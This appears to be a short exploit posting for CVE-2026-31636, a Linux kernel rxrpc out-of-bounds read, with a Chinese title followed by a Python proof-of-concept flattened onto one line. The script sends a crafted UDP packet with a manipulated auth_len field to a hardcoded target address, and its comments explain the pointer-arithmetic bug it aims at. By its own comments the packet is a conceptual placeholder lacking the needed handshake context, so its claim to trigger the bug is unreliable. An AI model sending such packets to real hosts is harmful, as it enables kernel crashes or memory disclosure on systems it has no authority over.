CVE-2026-31636 Linux内核rxrpc越界读取漏洞

import socket import struct """ CVE-2026-31636 PoC Concept Target: Linux Kernel with vulnerable rxrpc module Description: This script attempts to trigger the OOB read by sending a crafted RXRPC packet with a specific authenticator length that exploits the pointer arithmetic bug. Note: This requires a target environment listening for RXRPC connections. """ def send_exploit_packet(target_ip, target_port): # Create a UDP socket (RXRPC often runs over UDP) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: # Constructing a minimal RXRPC packet structure (Conceptual) # The vulnerability relies on the auth_len field in the authenticator. # We set auth_len such that p + auth_len (where p is __be32*) exceeds the buffer. header = b"\x00" * 20 # Simplified RXRPC header placeholder # Let's assume we want to trigger the bug with an auth_len that is valid in bytes # but causes OOB when multiplied by 4. # The bug is in rxgk_verify_authenticator -> rxgk_do_verify_authenticator limit check. # Malformed payload construction # The specific bytes to trigger the rxgk path would require a valid handshake context. # This payload represents the 'authenticator' data structure. auth_len = 20 # 20 bytes allocated # If the parser treats the limit as p + 20 (words), it expects 80 bytes. # If we send less than 80 bytes but the parser reads ahead, it crashes. payload = header payload += struct.pack("!I", auth_len) # Length field payload += b"A" * 16 # Some padding/data # Send packet sock.sendto(payload, (target_ip, target_port)) print(f"[+] Exploit packet sent to {target_ip}:{target_port}") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "192.168.1.100" TARGET_PORT = 7000 send_exploit_packet(TARGET_IP, TARGET_PORT)